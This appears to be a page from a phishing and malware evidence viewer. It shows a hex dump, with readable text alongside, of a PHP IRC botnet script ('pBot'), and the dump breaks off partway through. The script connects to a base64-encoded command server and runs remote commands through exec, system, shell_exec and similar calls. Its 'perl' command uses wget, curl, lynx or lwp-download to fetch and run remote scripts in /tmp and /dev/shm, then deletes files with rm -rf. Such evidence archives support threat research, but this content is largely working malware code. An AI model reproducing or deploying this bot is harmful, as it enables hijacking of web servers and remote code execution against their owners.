CLEAN MX realtime database
safe Phish viewer

hex view of evidence ...

switching to first hex view of evidence ...
0: 3C3F200D0A0D0A092F2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A          <? /***********************
32: 2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2F0D0A          *****************************/
64: 092F2A20706F7765726564206279204C4E44202D2062792042444D2020202020          /* powered by LND - by BDM
96: 2020202020202020202020202020202020202020202A2F0D0A092F2A2073686F          */ /* sho
128: 7574733A207765206675636B2074686520776F726C6420202020202020202020          uts: we fuck the world
160: 20202020202020202020202020202A2F0D0A092F2A2A2A2A2A2A2A2A2A2A2A2A          */ /************
192: 2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A          ********************************
224: 2A2A2A2A2A2A2A2A2F0D0A0D0A0D0A097365745F74696D655F6C696D69742820          ********/ set_time_limit(
256: 3020293B0D0A096572726F725F7265706F7274696E6728203020293B0D0A0965            ); error_reporting(   ); e
288: 63686F20225375636365737321223B0D0A0D0A09636C6173732070426F74200D          cho "Success!"; class pBot
320: 0A097B0D0A090976617220247573696E675F656E636F6465203D20747275653B          { var $using_encode = true;
352: 0D0A09090D0A09097661722024636F6E666967203D206172726179280D0A0909          var $config = array(
384: 09277365727665722720093D3E2027643364334C6D31686157353063484A764C          'server' => 'd3d3Lm1haW5 cHJvL
416: 574E76626E4E3162485268626D4E354C6D4E7662513D3D272C092F2F73657276          WNvbnN1bHRhbmN5LmNvbQ==', //serv
448: 657220686572652028626173653634290D0A09090927706F72742709093D3E20          er here (base64) 'port' =>
480: 393539352C0D0A090909276368616E2709093D3E2027646D6C6A63773D3D272C          9595, 'chan' => 'dmljcw==',
512: 09092F2F6368616E6E656C206865726520286261736536342920444F204E4F54          //channel here (base64) DO NOT
544: 20555345202223222C2022236C617A7922203D20226C617A79220D0A09090927          USE "#", "#lazy" = "lazy" '
576: 6B65792709093D3E2027272C0D0A090909276E69636B666F726D27093D3E2027          key' => '', 'nickform' => '
608: 76756C6E5B25645D272C0D0A090909276964656E747027093D3E20276461726B          vuln[%d]', 'identp' => 'dark
640: 7873272C0D0A090909276D6F6465732709093D3E20272B70272C0D0A09090927          xs', 'modes' => '+p', '
672: 6D617872616E6427093D3E20352C0D0A090909276370726566697827093D3E20          maxrand' => 5, 'cprefix' =>
704: 2721272C0D0A09090927686F73742709093D3E20276A616D616963612E68696E          '!', 'host' => 'jamaica.hin
736: 65742D69702E6E6574270D0A0909293B0D0A0D0A0909766172202461646D696E          et-ip.net' ); var $admin
768: 73203D2061727261790D0A090928200D0A090909274461726B736B696C6C2720          s = array ( 'Darkskill'
800: 3D3E202732636264363265363739643839616366376631626663313462653038          => '2cbd62e679d89acf7f1bfc14be 8
832: 6230343527202F2F2070617373203D20226C6F6C5F646F6E745F7472795F6372          b 45' // pass = "lol_dont_try_cr
864: 61636B696E675F3132636861722B5F3A50220D0A0909092F2F70617373657320          acking_12char+_:P" //passes
896: 617265204D443520666F726D61742C20796F752063616E20616C736F20686176          are MD5 format, you can also hav
928: 65206D756C7469706C652061646D696E730D0A0909293B0D0A09090D0A090966          e multiple admins ); f
960: 756E6374696F6E20617574685F686F73742820246E69636B2C20247061737377          unction auth_host( $nick, $passw
992: 6F72642C2024686F737420290D0A09097B0D0A0909092461646D696E5F636F75          ord, $host ) { $admin_cou
1024: 6E74203D20636F756E74282024746869732D3E61646D696E7320293B0D0A0909          nt = count( $this->admins );
1056: 09696628202461646D696E5F636F756E74203E203020290D0A0909097B0D0A09          if( $admin_count >   ) {
1088: 090909246D70617373203D206D643528202470617373776F726420293B0D0A09          $mpass = md5( $password );
1120: 0909096966282024746869732D3E61646D696E735B20246E69636B205D203D3D          if( $this->admins[ $nick ] ==
1152: 20246D7061737320290D0A090909097B0D0A090909090924746869732D3E7573          $mpass ) { $this->us
1184: 6572735B2024686F7374205D203D20747275653B0D0A090909097D0D0A090909          ers[ $host ] = true; }
1216: 7D0D0A090909656C73650D0A0909097B0D0A0909090924746869732D3E757365          } else { $this->use
1248: 72735B2024686F7374205D203D20747275653B0D0A0909097D0D0A09097D0D0A          rs[ $host ] = true; } }
1280: 09090D0A090966756E6374696F6E2069735F617574686564282024686F737420          function is_authed( $host
1312: 290D0A09097B0D0A09090972657475726E206973736574282024746869732D3E          ) { return isset( $this->
1344: 75736572735B2024686F7374205D20293B0D0A09097D0D0A09090D0A09096675          users[ $host ] ); } fu
1376: 6E6374696F6E2072656D6F76655F61757468282024686F737420290D0A09097B          nction remove_auth( $host ) {
1408: 0D0A090909756E736574282024746869732D3E75736572735B2024686F737420          unset( $this->users[ $host
1440: 5D20293B0D0A09097D0D0A09090D0A090966756E6374696F6E20657828202463          ] ); } function ex( $c
1472: 666520290D0A09097B0D0A09090924726573203D2027273B0D0A090909696620          fe ) { $res = ''; if
1504: 2821656D707479282463666529290D0A0909097B0D0A0909090969662866756E          (!empty($cfe)) { if(fun
1536: 6374696F6E5F6578697374732827636C6173735F657869737473272920262620          ction_exists('class_exists') &&
1568: 636C6173735F65786973747328275065726C2729290D0A090909097B0D0A0909          class_exists('Perl')) {
1600: 090909247065726C203D206E6577205065726C28293B0D0A0909090909247065          $perl = new Perl(); $pe
1632: 726C2D3E6576616C28202273797374656D28272463666527293B2220293B0D0A          rl->eval( "system('$cfe');" );
1664: 090909097D0D0A0909090969662866756E6374696F6E5F657869737473282765          } if(function_exists('e
1696: 7865632729290D0A090909097B0D0A0909090909406578656328246366652C24          xec')) { @exec($cfe,$
1728: 726573293B0D0A090909090924726573203D206A6F696E28225C6E222C247265          res); $res = join("\n",$re
1760: 73293B0D0A090909097D0D0A09090909656C736569662866756E6374696F6E5F          s); } elseif(function_
1792: 65786973747328277368656C6C5F657865632729290D0A090909097B0D0A0909          exists('shell_exec')) {
1824: 09090924726573203D20407368656C6C5F657865632824636665293B0D0A0909          $res = @shell_exec($cfe);
1856: 09097D0D0A09090909656C736569662866756E6374696F6E5F65786973747328          } elseif(function_exists(
1888: 2773797374656D2729290D0A090909097B0D0A0909090909406F625F73746172          'system')) { @ob_star
1920: 7428293B0D0A09090909094073797374656D2824636665293B0D0A0909090909          t(); @system($cfe);
1952: 24726573203D20406F625F6765745F636F6E74656E747328293B0D0A09090909          $res = @ob_get_contents();
1984: 09406F625F656E645F636C65616E28293B0D0A090909097D0D0A09090909656C          @ob_end_clean(); } el
2016: 736569662866756E6374696F6E5F657869737473282770617373746872752729          seif(function_exists('passthru')
2048: 290D0A090909097B0D0A0909090909406F625F737461727428293B0D0A090909          ) { @ob_start();
2080: 09094070617373746872752824636665293B0D0A090909090924726573203D20          @passthru($cfe); $res =
2112: 406F625F6765745F636F6E74656E747328293B0D0A0909090909406F625F656E          @ob_get_contents(); @ob_en
2144: 645F636C65616E28293B0D0A090909097D0D0A09090909656C73656966286675          d_clean(); } elseif(fu
2176: 6E6374696F6E5F657869737473282770726F635F6F70656E2729290D0A090909          nction_exists('proc_open'))
2208: 097B0D0A090909090924726573203D2070726F635F6F70656E2824636665293B          { $res = proc_open($cfe);
2240: 0D0A090909097D0D0A09090909656C73656966284069735F7265736F75726365          } elseif(@is_resource
2272: 282466203D2040706F70656E28246366652C2272222929290D0A090909097B0D          ($f = @popen($cfe,"r"))) {
2304: 0A090909090924726573203D2022223B0D0A09090909097768696C6528214066          $res = ""; while(!@f
2336: 656F662824662929207B2024726573202E3D204066726561642824662C313032          eof($f)) { $res .= @fread($f,1 2
2368: 34293B207D0D0A09090909094070636C6F7365282466293B0D0A090909097D0D          4); } @pclose($f); }
2400: 0A0909097D0D0A09090972657475726E20247265733B0D0A09097D0D0A09090D          } return $res; }
2432: 0A090966756E6374696F6E2069735F736166652820290D0A09097B0D0A090909          function is_safe( ) {
2464: 696628202820406572656769282022756964222C2024746869732D3E65782820          if( ( @eregi( "uid", $this->ex(
2496: 22696422202920292029207C7C20282040657265676928202257696E646F7773          "id" ) ) ) || ( @eregi( "Windows
2528: 222C2024746869732D3E65782820226E65742073746172742220292029202920          ", $this->ex( "net start" ) ) )
2560: 290D0A0909097B0D0A0909090972657475726E20303B0D0A0909097D0D0A0909          ) { return  ; }
2592: 0972657475726E20313B0D0A09097D0D0A09090D0A090966756E6374696F6E20          return 1; } function
2624: 6765745F6368616E2820290D0A09097B0D0A0909096966282024746869732D3E          get_chan( ) { if( $this->
2656: 7573696E675F656E636F646520290D0A0909097B0D0A0909090972657475726E          using_encode ) { return
2688: 202723272E6261736536345F6465636F6465282024746869732D3E636F6E6669          '#'.base64_decode( $this->confi
2720: 675B20276368616E27205D20293B0D0A0909097D0D0A090909656C73650D0A09          g[ 'chan' ] ); } else
2752: 09097B0D0A0909090972657475726E202723272E24746869732D3E636F6E6669          { return '#'.$this->confi
2784: 675B20276368616E27205D3B0D0A0909097D0D0A09097D0D0A09090D0A090966          g[ 'chan' ]; } } f
2816: 756E6374696F6E2073746172742829200D0A09097B0D0A090909696628202474          unction start() { if( $t
2848: 6869732D3E7573696E675F656E636F646520290D0A0909097B0D0A0909090969          his->using_encode ) { i
2880: 6628212824746869732D3E636F6E6E203D2066736F636B6F70656E2862617365          f(!($this->conn = fsockopen(base
2912: 36345F6465636F64652824746869732D3E636F6E6669675B2773657276657227          64_decode($this->config['server'
2944: 5D292C24746869732D3E636F6E6669675B27706F7274275D2C24652C24732C33          ]),$this->config['port'],$e,$s,3
2976: 30292929200D0A090909097B0D0A090909090924746869732D3E737461727428           ))) { $this->start(
3008: 293B200D0A090909097D0D0A0909097D0D0A090909656C73650D0A0909097B0D          ); } } else {
3040: 0A09090909696628212824746869732D3E636F6E6E203D2066736F636B6F7065          if(!($this->conn = fsockope
3072: 6E2824746869732D3E636F6E6669675B27736572766572275D2C24746869732D          n($this->config['server'],$this-
3104: 3E636F6E6669675B27706F7274275D2C24652C24732C3330292929200D0A0909          >config['port'],$e,$s,3 )))
3136: 09097B0D0A090909090924746869732D3E737461727428293B200D0A09090909          { $this->start();
3168: 7D0D0A0909097D0D0A090909090D0A090909246964656E74203D202474686973          } } $ident = $this
3200: 2D3E636F6E6669675B27707265666978275D3B0D0A09090924616C7068203D20          ->config['prefix']; $alph =
3232: 72616E6765282230222C223922293B0D0A090909666F72282024693D303B2024          range(" ","9"); for( $i= ; $
3264: 69203C2024746869732D3E636F6E6669675B276D617872616E64275D3B202469          i < $this->config['maxrand']; $i
3296: 2B2B20290D0A0909097B0D0A09090909246964656E74202E3D2024616C70685B          ++ ) { $ident .= $alph[
3328: 72616E6428302C39295D3B0D0A0909097D0D0A090909090D0A09090969662820          rand( ,9)]; } if(
3360: 7374726C656E282024746869732D3E636F6E6669675B20277061737327205D20          strlen( $this->config[ 'pass' ]
3392: 29203E203020290D0A0909097B0D0A0909090924746869732D3E73656E642820          ) >   ) { $this->send(
3424: 225041535320222E24746869732D3E636F6E6669675B20277061737327205D20          "PASS ".$this->config[ 'pass' ]
3456: 293B0D0A0909097D0D0A090909090D0A09090924746869732D3E73656E642822          ); } $this->send("
3488: 5553455220222E246964656E742E22203132372E302E302E31206C6F63616C68          USER ".$ident." 127. . .1 localh
3520: 6F7374203A222E7068705F756E616D6528292E2222293B0D0A09090924746869          ost :".php_uname().""); $thi
3552: 732D3E7365745F6E69636B2820293B0D0A09090924746869732D3E6D61696E28          s->set_nick( ); $this->main(
3584: 20293B0D0A09097D0D0A0D0A090966756E6374696F6E206D61696E2829200D0A          ); } function main()
3616: 09097B200D0A0909097768696C65282166656F662824746869732D3E636F6E6E          { while(!feof($this->conn
3648: 2929200D0A0909097B200D0A0909090924746869732D3E627566203D20747269          )) { $this->buf = tri
3680: 6D2866676574732824746869732D3E636F6E6E2C35313229293B200D0A090909          m(fgets($this->conn,512));
3712: 0924636D64203D206578706C6F6465282220222C24746869732D3E627566293B          $cmd = explode(" ",$this->buf);
3744: 200D0A090909096966287375627374722824746869732D3E6275662C302C3629          if(substr($this->buf, ,6)
3776: 3D3D2250494E47203A2229200D0A090909097B200D0A09090909092474686973          =="PING :") { $this
3808: 2D3E73656E642822504F4E47203A222E7375627374722824746869732D3E6275          ->send("PONG :".substr($this->bu
3840: 662C3629293B200D0A090909097D200D0A090909096966286973736574282463          f,6)); } if(isset($c
3872: 6D645B315D292026262024636D645B315D203D3D223030312229200D0A090909          md[1]) && $cmd[1] =="  1")
3904: 097B200D0A090909090924746869732D3E73656E6428224D4F444520222E2474          { $this->send("MODE ".$t
3936: 6869732D3E6E69636B2E2220222E24746869732D3E636F6E6669675B276D6F64          his->nick." ".$this->config['mod
3968: 6573275D293B200D0A09090909090D0A09090909096966282024746869732D3E          es']); if( $this->
4000: 7573696E675F656E636F646520290D0A09090909097B0D0A0909090909092474          using_encode ) { $t
4032: 6869732D3E6A6F696E2824746869732D3E6765745F6368616E2820292C626173          his->join($this->get_chan( ),bas
4064: 6536345F6465636F64652824746869732D3E636F6E6669675B276B6579275D29          e64_decode($this->config['key'])
4096: 293B0D0A09090909097D0D0A0909090909656C73650D0A09090909097B0D0A09          ); } else {
4128: 090909090924746869732D3E6A6F696E2824746869732D3E6765745F6368616E          $this->join($this->get_chan
4160: 2820292C24746869732D3E636F6E6669675B276B6579275D293B0D0A09090909          ( ),$this->config['key']);
4192: 097D0D0A09090909090D0A09090909096966202840696E695F67657428227361          } if (@ini_get("sa
4224: 66655F6D6F64652229206F7220737472746F6C6F7765722840696E695F676574          fe_mode") or strtolower(@ini_get
4256: 2822736166655F6D6F6465222929203D3D20226F6E2229207B2024736166656D          ("safe_mode")) == "on") { $safem
4288: 6F6465203D20226F6E223B207D0D0A0909090909656C7365207B202473616665          ode = "on"; } else { $safe
4320: 6D6F6465203D20226F6666223B207D0D0A090909090924756E616D65203D2070          mode = "off"; } $uname = p
4352: 68705F756E616D6528293B200D0A090909097D200D0A09090909696628697373          hp_uname(); } if(iss
4384: 65742824636D645B315D292026262024636D645B315D3D3D223433332229200D          et($cmd[1]) && $cmd[1]=="433")
4416: 0A090909097B200D0A090909090924746869732D3E7365745F6E69636B28293B          { $this->set_nick();
4448: 200D0A090909097D200D0A0909090969662824746869732D3E62756620213D20          } if($this->buf !=
4480: 246F6C645F62756629200D0A090909097B200D0A0909090909246D636D64203D          $old_buf) { $mcmd =
4512: 20617272617928293B200D0A0909090909246D7367203D207375627374722873          array(); $msg = substr(s
4544: 74727374722824746869732D3E6275662C22203A22292C32293B200D0A090909          trstr($this->buf," :"),2);
4576: 0909246D7367636D64203D206578706C6F6465282220222C246D7367293B200D          $msgcmd = explode(" ",$msg);
4608: 0A0909090909246E69636B203D206578706C6F6465282221222C24636D645B30          $nick = explode("!",$cmd[ 
4640: 5D293B200D0A09090909092476686F7374203D206578706C6F6465282240222C          ]); $vhost = explode("@",
4672: 246E69636B5B315D293B200D0A09090909092476686F7374203D202476686F73          $nick[1]); $vhost = $vhos
4704: 745B315D3B200D0A0909090909246E69636B203D2073756273747228246E6963          t[1]; $nick = substr($nic
4736: 6B5B305D2C31293B200D0A090909090924686F7374203D2024636D645B305D3B          k[ ],1); $host = $cmd[ ];
4768: 200D0A0909090909696628246D7367636D645B305D3D3D24746869732D3E6E69          if($msgcmd[ ]==$this->ni
4800: 636B29200D0A09090909097B200D0A090909090909666F722824693D303B2469          ck) { for($i= ;$i
4832: 3C636F756E7428246D7367636D64293B24692B2B29200D0A0909090909090924          <count($msgcmd);$i++) $
4864: 6D636D645B24695D203D20246D7367636D645B24692B315D3B200D0A09090909          mcmd[$i] = $msgcmd[$i+1];
4896: 097D200D0A0909090909656C7365200D0A09090909097B200D0A090909090909          } else {
4928: 666F722824693D303B24693C636F756E7428246D7367636D64293B24692B2B29          for($i= ;$i<count($msgcmd);$i++)
4960: 200D0A09090909090909246D636D645B24695D203D20246D7367636D645B2469          $mcmd[$i] = $msgcmd[$i
4992: 5D3B200D0A09090909097D200D0A0909090909696628636F756E742824636D64          ]; } if(count($cmd
5024: 293E3229200D0A09090909097B200D0A0909090909097377697463682824636D          )>2) { switch($cm
5056: 645B315D29200D0A0909090909097B200D0A0909090909090963617365202251          d[1]) { case "Q
5088: 554954223A0D0A090909090909097B0D0A090909090909090969662820247468          UIT": { if( $th
5120: 69732D3E69735F617574686564282024686F7374202920290D0A090909090909          is->is_authed( $host ) )
5152: 09097B0D0A09090909090909090924746869732D3E72656D6F76655F61757468          { $this->remove_auth
5184: 282024686F737420293B0D0A09090909090909097D0D0A090909090909097D0D          ( $host ); } }
5216: 0A09090909090909627265616B3B200D0A090909090909096361736520225041          break; case "PA
5248: 5254223A200D0A090909090909097B0D0A090909090909090969662820247468          RT": { if( $th
5280: 69732D3E69735F617574686564282024686F7374202920290D0A090909090909          is->is_authed( $host ) )
5312: 09097B0D0A09090909090909090924746869732D3E72656D6F76655F61757468          { $this->remove_auth
5344: 282024686F737420293B0D0A09090909090909097D0D0A090909090909097D0D          ( $host ); } }
5376: 0A09090909090909627265616B3B200D0A090909090909096361736520225052          break; case "PR
5408: 49564D5347223A200D0A09090909090909096966282028207375627374722824          IVMSG": if( ( substr($
5440: 6D636D645B305D2C302C3129203D3D2024746869732D3E636F6E6669675B2027          mcmd[ ], ,1) == $this->config[ '
5472: 6370726566697827205D20292029200D0A09090909090909097B200D0A090909          cprefix' ] ) ) {
5504: 0909090909096966282024746869732D3E69735F617574686564282024686F73          if( $this->is_authed( $hos
5536: 742029203D3D2066616C736520290D0A0909090909090909097B0D0A09090909          t ) == false ) {
5568: 09090909090973776974636828207375627374722820246D636D645B2030205D          switch( substr( $mcmd[   ]
5600: 2C2031202920290D0A090909090909090909097B0D0A09090909090909090909          , 1 ) ) {
5632: 0963617365202261757468223A0D0A09090909090909090909097B0D0A090909          case "auth": {
5664: 09090909090909090924746869732D3E617574685F686F73742820246E69636B          $this->auth_host( $nick
5696: 2C20246D636D645B2031205D2C2024686F737420293B0D0A0909090909090909          , $mcmd[ 1 ], $host );
5728: 090909096966282024746869732D3E69735F617574686564282024686F737420          if( $this->is_authed( $host
5760: 2920290D0A0909090909090909090909097B0D0A090909090909090909090909          ) ) {
5792: 0924746869732D3E707269766D7367282024746869732D3E6765745F6368616E          $this->privmsg( $this->get_chan
5824: 2820292C20225B2061757468205D205375636365737366756C206C6F67696E20          ( ), "[ auth ] Successful login
5856: 66726F6D205B20222E246E69636B2E22205D2220293B0D0A0909090909090909          from [ ".$nick." ]" );
5888: 090909097D0D0A090909090909090909090909656C73650D0A09090909090909          } else
5920: 09090909097B0D0A0909090909090909090909090924746869732D3E70726976          { $this->priv
5952: 6D7367282024746869732D3E6765745F6368616E2820292C20225B2061757468          msg( $this->get_chan( ), "[ auth
5984: 205D204661696C656420617474656D70742066726F6D205B20222E246E69636B          ] Failed attempt from [ ".$nick
6016: 2E22205D2220293B0D0A0909090909090909090909097D0D0A09090909090909          ." ]" ); }
6048: 0909090909627265616B3B0D0A09090909090909090909097D0D0A0909090909          break; }
6080: 09090909097D0D0A0909090909090909097D0D0A090909090909090909656C73          } } els
6112: 650D0A0909090909090909097B0D0A0909090909090909090973776974636828          e { switch(
6144: 73756273747228246D636D645B305D2C312929200D0A09090909090909090909          substr($mcmd[ ],1))
6176: 7B0D0A090909090909090909090963617365202265786563223A0D0A09090909          { case "exec":
6208: 090909090909097B0D0A09090909090909090909090969662820212474686973          { if( !$this
6240: 2D3E69735F7361666528202920290D0A0909090909090909090909097B0D0A09          ->is_safe( ) ) {
6272: 09090909090909090909090924636F6D6D616E64203D20737562737472282073          $command = substr( s
6304: 74727374722820246D73672C20246D636D645B305D20292C207374726C656E28          trstr( $msg, $mcmd[ ] ), strlen(
6336: 20246D636D645B305D2029202B203120293B0D0A090909090909090909090909          $mcmd[ ] ) + 1 );
6368: 092472657475726E64617461203D2024746869732D3E6578282024636F6D6D61          $returndata = $this->ex( $comma
6400: 6E6420293B0D0A090909090909090909090909096966282021656D7074792820          nd ); if( !empty(
6432: 2472657475726E64617461202920290D0A090909090909090909090909097B0D          $returndata ) ) {
6464: 0A090909090909090909090909090924746869732D3E707269766D7367282024          $this->privmsg( $
6496: 746869732D3E6765745F6368616E2820292C20275B2065786563205D20272E24          this->get_chan( ), '[ exec ] '.$
6528: 72657475726E6461746120293B0D0A090909090909090909090909097D0D0A09          returndata ); }
6560: 09090909090909090909097D0D0A090909090909090909090909627265616B3B          } break;
6592: 0D0A09090909090909090909097D0D0A09090909090909090909096361736520          } case
6624: 22696E666F223A0D0A09090909090909090909097B0D0A090909090909090909          "info": {
6656: 09090924736166656D6F6465203D20226F6E223B0D0A09090909090909090909          $safemode = "on";
6688: 0909696628202124746869732D3E69735F7361666528202920290D0A09090909          if( !$this->is_safe( ) )
6720: 09090909090909097B0D0A0909090909090909090909090924736166656D6F64          { $safemod
6752: 65203D20226F6666223B0D0A0909090909090909090909097D0D0A0909090909          e = "off"; }
6784: 0909090909090924746869732D3E707269766D7367282024746869732D3E6765          $this->privmsg( $this->ge
6816: 745F6368616E2820292C20275B20696E666F205D20272E7068705F756E616D65          t_chan( ), '[ info ] '.php_uname
6848: 2820292E27202820534146453A20272E24736166656D6F64652E272029272029          ( ).' ( SAFE: '.$safemode.' )' )
6880: 3B0D0A090909090909090909090909627265616B3B0D0A090909090909090909          ; break;
6912: 09097D0D0A090909090909090909090963617365202273616665223A0D0A0909          } case "safe":
6944: 0909090909090909097B0D0A09090909090909090909090924736166656D6F64          { $safemod
6976: 65203D20226F6E223B0D0A090909090909090909090909696628202124746869          e = "on"; if( !$thi
7008: 732D3E69735F7361666528202920290D0A0909090909090909090909097B0D0A          s->is_safe( ) ) {
7040: 0909090909090909090909090924736166656D6F6465203D20226F6666223B0D          $safemode = "off";
7072: 0A0909090909090909090909097D0D0A09090909090909090909090924746869          } $thi
7104: 732D3E707269766D7367282024746869732D3E6765745F6368616E2820292C20          s->privmsg( $this->get_chan( ),
7136: 275B2073616665205D20272E24736166656D6F646520293B0D0A090909090909          '[ safe ] '.$safemode );
7168: 090909090909627265616B3B0D0A09090909090909090909097D0D0A09090909          break; }
7200: 09090909090909636173652022756E616D65223A0D0A09090909090909090909          case "uname":
7232: 097B0D0A09090909090909090909090924746869732D3E707269766D73672820          { $this->privmsg(
7264: 24746869732D3E6765745F6368616E2820292C20275B20756E616D65205D2027          $this->get_chan( ), '[ uname ] '
7296: 2E7068705F756E616D6528202920293B0D0A0909090909090909090909096272          .php_uname( ) ); br
7328: 65616B3B0D0A09090909090909090909097D0D0A090909090909090909090963          eak; } c
7360: 61736520227065726C223A0D0A09090909090909090909097B0D0A0909090909          ase "perl": {
7392: 090909090909096966282024746869732D3E69735F7361666528202920290D0A          if( $this->is_safe( ) )
7424: 0909090909090909090909097B0D0A0909090909090909090909090924746869          { $thi
7456: 732D3E707269766D7367282024746869732D3E6765745F6368616E2820292C20          s->privmsg( $this->get_chan( ),
7488: 275B2064726F707065726C205D2053616665206D6F6465206973204F4E272029          '[ dropperl ] Safe mode is ON' )
7520: 3B0D0A09090909090909090909090909627265616B3B0D0A0909090909090909          ; break;
7552: 090909097D0D0A0909090909090909090909090D0A0909090909090909090909          }
7584: 09247065726C5F66696C65203D20246D636D645B315D3B0D0A09090909090909          $perl_file = $mcmd[1];
7616: 09090909090D0A0909090909090909090909096966282021656D707479282024          if( !empty( $
7648: 7065726C5F66696C65202920290D0A0909090909090909090909097B0D0A0909          perl_file ) ) {
7680: 0909090909090909090909247061727365645F75726C203D2024746869732D3E          $parsed_url = $this->
7712: 70617273655F75726C5F732820247065726C5F66696C6520293B0D0A09090909          parse_url_s( $perl_file );
7744: 0909090909090909090D0A09090909090909090909090909246E65775F72656D          $new_rem
7776: 6F7465203D20247061727365645F75726C5B2027736368656D6527205D2E273A          ote = $parsed_url[ 'scheme' ].':
7808: 2F2F272E247061727365645F75726C5B2027686F737427205D2E247061727365          //'.$parsed_url[ 'host' ].$parse
7840: 645F75726C5B202764697227205D2E272F273B0D0A0909090909090909090909          d_url[ 'dir' ].'/';
7872: 0909246E65775F6C6F63616C20093D20247061727365645F75726C5B20276669          $new_local = $parsed_url[ 'fi
7904: 6C6527205D3B0D0A090909090909090909090909092466696C655F7479706509          le' ]; $file_type
7936: 3D20247061727365645F75726C5B202766696C655F65787427205D3B0D0A0909          = $parsed_url[ 'file_ext' ];
7968: 09090909090909090909090D0A0909090909090909090909090924746869732D          $this-
8000: 3E657828276364202F746D703B7767657420272E246E65775F72656D6F74652E          >ex('cd /tmp;wget '.$new_remote.
8032: 246E65775F6C6F63616C2E273B7065726C20272E246E65775F6C6F63616C2E27          $new_local.';perl '.$new_local.'
8064: 3B726D202D7266202A272E2466696C655F747970652E272A27293B0D0A090909          ;rm -rf *'.$file_type.'*');
8096: 0909090909090909090924746869732D3E657828276364202F746D703B637572          $this->ex('cd /tmp;cur
8128: 6C202D4F20272E246E65775F72656D6F74652E246E65775F6C6F63616C2E273B          l -O '.$new_remote.$new_local.';
8160: 7065726C20272E246E65775F6C6F63616C2E273B726D202D7266202A272E2466          perl '.$new_local.';rm -rf *'.$f
8192: 696C655F747970652E272A27293B0D0A09090909090909090909090909247468          ile_type.'*'); $th
8224: 69732D3E657828276364202F746D703B6C77702D646F776E6C6F616420272E24          is->ex('cd /tmp;lwp-download '.$
8256: 6E65775F72656D6F74652E246E65775F6C6F63616C2E273B7065726C20272E24          new_remote.$new_local.';perl '.$
8288: 6E65775F6C6F63616C2E273B726D202D7266202A272E2466696C655F74797065          new_local.';rm -rf *'.$file_type
8320: 2E272A27293B0D0A0909090909090909090909090924746869732D3E65782827          .'*'); $this->ex('
8352: 6364202F746D703B6C796E78202D736F7572636520272E246E65775F72656D6F          cd /tmp;lynx -source '.$new_remo
8384: 74652E246E65775F6C6F63616C2E273B7065726C20272E246E65775F6C6F6361          te.$new_local.';perl '.$new_loca
8416: 6C2E273B726D202D7266202A272E2466696C655F747970652E272A27293B0D0A          l.';rm -rf *'.$file_type.'*');
8448: 0909090909090909090909090924746869732D3E657828276364202F6465762F          $this->ex('cd /dev/
8480: 73686D3B7767657420272E246E65775F72656D6F74652E246E65775F6C6F6361          shm;wget '.$new_remote.$new_loca
8512: 6C2E273B7065726C20272E246E65775F6C6F63616C2E273B726D202D7266202A          l.';perl '.$new_local.';rm -rf *
8544: 272E2466696C655F747970652E272A27293B0D0A090909090909090909090909          '.$file_type.'*');
8576: 0924746869732D3E657828276364202F6465762F73686D3B6375726C202D4F20          $this->ex('cd /dev/shm;curl -O
8608: 272E246E65775F72656D6F74652E246E65775F6C6F63616C2E273B7065726C20          '.$new_remote.$new_local.';perl
8640: 272E246E65775F6C6F63616C2E273B726D202D7266202A272E2466696C655F74          '.$new_local.';rm -rf *'.$file_t
8672: 7970652E272A27293B0D0A0909090909090909090909090924746869732D3E65          ype.'*'); $this->e
8704: 7828276364202F6465762F73686D3B6C77702D646F776E6C6F616420272E246E          x('cd /dev/shm;lwp-download '.$n
8736: 65775F72656D6F74652E246E65775F6C6F63616C2E273B7065726C20272E246E          ew_remote.$new_local.';perl '.$n
8768: 65775F6C6F63616C2E273B726D202D7266202A272E2466696C655F747970652E          ew_local.';rm -rf *'.$file_type.
8800: 272A27293B0D0A0909090909090909090909090924746869732D3E6578282763          '*'); $this->ex('c
8832: 64202F6465762F73686D3B6C796E78202D736F7572636520272E246E65775F72          d /dev/shm;lynx -source '.$new_r
8864: 656D6F74652E246E65775F6C6F63616C2E273B7065726C20272E246E65775F6C          emote.$new_local.';perl '.$new_l
8896: 6F63616C2E273B726D202D7266202A272E2466696C655F747970652E272A2729          ocal.';rm -rf *'.$file_type.'*')
8928: 3B0D0A0909090909090909090909090924746869732D3E657828276364202F74          ; $this->ex('cd /t
8960: 6D703B726D202D7266202A272E2466696C655F747970652E272A2A27293B0D0A          mp;rm -rf *'.$file_type.'**');
8992: 0909090909090909090909090924746869732D3E657828276364202F6465762F          $this->ex('cd /dev/
9024: 73686D3B726D202D7266202A272E2466696C655F747970652E272A2A27293B0D          shm;rm -rf *'.$file_type.'**');
9056: 0A090909090909090909090909090D0A09090909090909090909090909247468          $th
9088: 69732D3E707269766D7367282024746869732D3E6765745F6368616E2820292C          is->privmsg( $this->get_chan( ),
9120: 20275B2065786563726669205D2045786563757465642066696C6520272E246E          '[ execrfi ] Executed file '.$n
9152: 65775F72656D6F74652E246E65775F6C6F63616C20293B0D0A09090909090909          ew_remote.$new_local );
9184: 090909090909627265616B3B0D0A0909090909090909090909097D0D0A090909          break; }
9216: 0909090909090909090D0A09090909090909090909090924746869732D3E7072          $this->pr
9248: 69766D7367282024746869732D3E6765745F6368616E2820292C20275B206578          ivmsg( $this->get_chan( ), '[ ex
9280: 6563726669205D204661696C75726520657865637574696E6720272E24706572          ecrfi ] Failure executing '.$per
9312: 6C5F66696C6520293B0D0A090909090909090909090909627265616B3B0D0A09          l_file ); break;
9344: 090909090909090909097D0D0A09090909090909090909096361736520226970          } case "ip
9376: 223A0D0A09090909090909090909097B0D0A0909090909090909090909092474          ": { $t
9408: 6869732D3E707269766D7367282024746869732D3E6765745F6368616E282029          his->privmsg( $this->get_chan( )
9440: 2C20275B206970205D20272E245F5345525645525B275345525645525F414444          , '[ ip ] '.$_SERVER['SERVER_ADD
9472: 52275D20293B0D0A090909090909090909090909627265616B3B0D0A09090909          R'] ); break;
9504: 090909090909097D0D0A0909090909090909090909636173652022726669223A          } case "rfi":
9536: 0D0A09090909090909090909097B0D0A0909090909090909090909092466696C          { $fil
9568: 6555726C203D20246D636D645B315D3B0D0A0909090909090909090909090D0A          eUrl = $mcmd[1];
9600: 0909090909090909090909096966282021656D70747928202466696C6555726C          if( !empty( $fileUrl
9632: 202920290D0A0909090909090909090909097B0D0A0909090909090909090909          ) ) {
